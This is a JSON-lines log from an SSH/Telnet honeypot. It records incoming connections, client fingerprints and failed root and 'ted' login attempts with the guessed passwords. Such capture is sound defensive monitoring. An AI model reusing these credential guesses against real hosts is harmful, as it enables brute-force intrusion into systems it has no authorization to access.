{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cd:2c:44:67:a2:d4:d8:a7:88:1f:26:88:70:7e:f7:59","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDl7Pqo4ml/k0y/eucIVjKUD0qqX9AP++LRDKsiNmQwV","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:23:58.764614Z","src_ip":"186.190.215.90","session":"ef3fd1798cf6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"70:2a:5e:26:d3:d4:de:7c:09:fa:47:20:50:bb:e0:a7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDXJL8cOQov5ae8yTUQl+au9SZikvPSZhhvgl7pScADU7pQytX62gF4XLnE94w5ydo4UtBtBBaC/dQlB3ORrf13mSTJ6iHs7ubvh+n0ZmekmY3pu+b15Nt1Blg9EtNF9Ni/iOydcNr1a97djfucjSIn68Ihv1VexY88/ERCd+2dCB2EvPMMqghbszY8F9OF/WajM03IZETdTokhjo5+Sa36AhCSKCLzAj/ZQ+XaykYNRFQe7K6dtPJu2kCwvfFNi5xyPX+zkwc+Eu4YMPBz8iRoZ6J9o4KW31RWGRhkSHO51XGG6d03dGADXEVvcx/sEEECevyjee3HxJR70RqUVkWUB8atisBGrstJ69UXxH93P+ysiiS2/7AnnXj+MeCn0NbbbjpMIYp5ijPuC7YGmvGVOEx6vv692FnUm40oLiHxGfiqJ5Xewar2t7NShlv/R+XZwx0ecGOH86dryUHPmA/lKNgf3Tl0a3/sGXuTQ0YqNmsRCb4huzfPvkrMAjsP1JE=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 70:2a:5e:26:d3:d4:de:7c:09:fa:47:20:50:bb:e0:a7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:23:58.869146Z","src_ip":"186.190.215.90","session":"ef3fd1798cf6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"70:2a:5e:26:d3:d4:de:7c:09:fa:47:20:50:bb:e0:a7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDXJL8cOQov5ae8yTUQl+au9SZikvPSZhhvgl7pScADU7pQytX62gF4XLnE94w5ydo4UtBtBBaC/dQlB3ORrf13mSTJ6iHs7ubvh+n0ZmekmY3pu+b15Nt1Blg9EtNF9Ni/iOydcNr1a97djfucjSIn68Ihv1VexY88/ERCd+2dCB2EvPMMqghbszY8F9OF/WajM03IZETdTokhjo5+Sa36AhCSKCLzAj/ZQ+XaykYNRFQe7K6dtPJu2kCwvfFNi5xyPX+zkwc+Eu4YMPBz8iRoZ6J9o4KW31RWGRhkSHO51XGG6d03dGADXEVvcx/sEEECevyjee3HxJR70RqUVkWUB8atisBGrstJ69UXxH93P+ysiiS2/7AnnXj+MeCn0NbbbjpMIYp5ijPuC7YGmvGVOEx6vv692FnUm40oLiHxGfiqJ5Xewar2t7NShlv/R+XZwx0ecGOH86dryUHPmA/lKNgf3Tl0a3/sGXuTQ0YqNmsRCb4huzfPvkrMAjsP1JE=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:23:58.873450Z","src_ip":"186.190.215.90","session":"ef3fd1798cf6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:23:58.978471Z","src_ip":"186.190.215.90","session":"ef3fd1798cf6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:23:59.544971Z","src_ip":"194.113.233.25","session":"d7b60d25137f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:24:31.480473Z","src_ip":"213.209.159.142","session":"3be1fd688fe6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":55400,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c8878eba3ee","protocol":"ssh","message":"New connection: 103.153.68.219:55400 (159.203.135.109:22) [session: 4c8878eba3ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:25:06.204886Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:25:06.210170Z","src_ip":"103.153.68.219","session":"4c8878eba3ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:25:06.484081Z","src_ip":"103.153.68.219","session":"4c8878eba3ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1111aa","message":"login attempt [root/1111aa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:25:07.269851Z","src_ip":"103.153.68.219","session":"4c8878eba3ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:25:08.534679Z","src_ip":"103.153.68.219","session":"4c8878eba3ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":53994,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ea247bd9457","protocol":"ssh","message":"New connection: 38.93.206.2:53994 (10.17.0.5:22) [session: 1ea247bd9457]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:25:23.725563Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:25:23.730853Z","src_ip":"38.93.206.2","session":"1ea247bd9457","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:25:23.781936Z","src_ip":"38.93.206.2","session":"1ea247bd9457","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12041986","message":"login attempt [root/12041986] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:25:23.937730Z","src_ip":"38.93.206.2","session":"1ea247bd9457","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:25:24.994470Z","src_ip":"38.93.206.2","session":"1ea247bd9457","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":47966,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b722007fce8","protocol":"ssh","message":"New connection: 89.223.69.22:47966 (159.203.135.109:22) [session: 0b722007fce8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:25:33.386539Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:27:33.401883Z","src_ip":"89.223.69.22","session":"0b722007fce8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":43460,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad2f0419e264","protocol":"ssh","message":"New connection: 62.133.62.83:43460 (10.17.0.5:22) [session: ad2f0419e264]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:29:01.560228Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:29:01.566134Z","src_ip":"62.133.62.83","session":"ad2f0419e264","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:29:01.655368Z","src_ip":"62.133.62.83","session":"ad2f0419e264","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nbvehrf","message":"login attempt [root/nbvehrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:29:02.176971Z","src_ip":"62.133.62.83","session":"ad2f0419e264","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:29:03.259972Z","src_ip":"62.133.62.83","session":"ad2f0419e264","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.210.31.101","src_port":53920,"dst_ip":"159.203.135.109","dst_port":23,"session":"18b41ce3c8c7","protocol":"telnet","message":"New connection: 205.210.31.101:53920 (159.203.135.109:23) [session: 18b41ce3c8c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:29:32.463656Z"}
{"eventid":"cowrie.session.closed","duration":30.82832622528076,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:30:03.291870Z","src_ip":"205.210.31.101","session":"18b41ce3c8c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":35780,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a2741826ffc","protocol":"ssh","message":"New connection: 193.228.128.84:35780 (10.17.0.5:22) [session: 1a2741826ffc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:30:45.524213Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:30:45.529147Z","src_ip":"193.228.128.84","session":"1a2741826ffc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:30:45.631620Z","src_ip":"193.228.128.84","session":"1a2741826ffc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"comfort","message":"login attempt [root/comfort] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:30:45.939950Z","src_ip":"193.228.128.84","session":"1a2741826ffc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:30:47.044366Z","src_ip":"193.228.128.84","session":"1a2741826ffc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":35888,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6ed0311ba30","protocol":"ssh","message":"New connection: 62.133.63.178:35888 (10.17.0.5:22) [session: a6ed0311ba30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:31:27.613622Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:31:27.618449Z","src_ip":"62.133.63.178","session":"a6ed0311ba30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:31:27.745353Z","src_ip":"62.133.63.178","session":"a6ed0311ba30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alex19","message":"login attempt [root/alex19] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:31:28.129086Z","src_ip":"62.133.63.178","session":"a6ed0311ba30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:31:29.258453Z","src_ip":"62.133.63.178","session":"a6ed0311ba30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":26072,"dst_ip":"159.203.135.109","dst_port":22,"session":"ef032f812465","protocol":"ssh","message":"New connection: 213.209.159.56:26072 (159.203.135.109:22) [session: ef032f812465]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:31:40.645826Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:32:03.171834Z","src_ip":"213.209.159.56","session":"ef032f812465","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:32:03.251375Z","src_ip":"213.209.159.56","session":"ef032f812465","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ted","password":"ted","message":"login attempt [ted/ted] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:32:03.652299Z","src_ip":"213.209.159.56","session":"ef032f812465","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ted","password":"ted1","message":"login attempt [ted/ted1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:32:04.739149Z","src_ip":"213.209.159.56","session":"ef032f812465","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ted","password":"ted123","message":"login attempt [ted/ted123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:32:05.824758Z","src_ip":"213.209.159.56","session":"ef032f812465","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ted","password":"ted1234","message":"login attempt [ted/ted1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:32:06.912114Z","src_ip":"213.209.159.56","session":"ef032f812465","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ted","password":"ted12345","message":"login attempt [ted/ted12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:32:07.998003Z","src_ip":"213.209.159.56","session":"ef032f812465","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"28.4","message":"Connection lost after 28.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:32:09.084262Z","src_ip":"213.209.159.56","session":"ef032f812465","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":36744,"dst_ip":"159.203.135.109","dst_port":22,"session":"b87fab700a3c","protocol":"ssh","message":"New connection: 103.176.20.57:36744 (159.203.135.109:22) [session: b87fab700a3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:33:17.309339Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:33:17.317850Z","src_ip":"103.176.20.57","session":"b87fab700a3c","protocol":"ssh"}
